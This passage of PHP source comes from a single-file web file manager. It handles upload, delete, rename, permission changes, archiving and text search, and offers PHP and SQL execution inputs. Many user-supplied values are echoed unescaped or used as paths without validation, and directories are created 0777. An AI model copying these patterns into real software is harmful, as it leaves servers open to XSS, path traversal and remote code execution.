    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
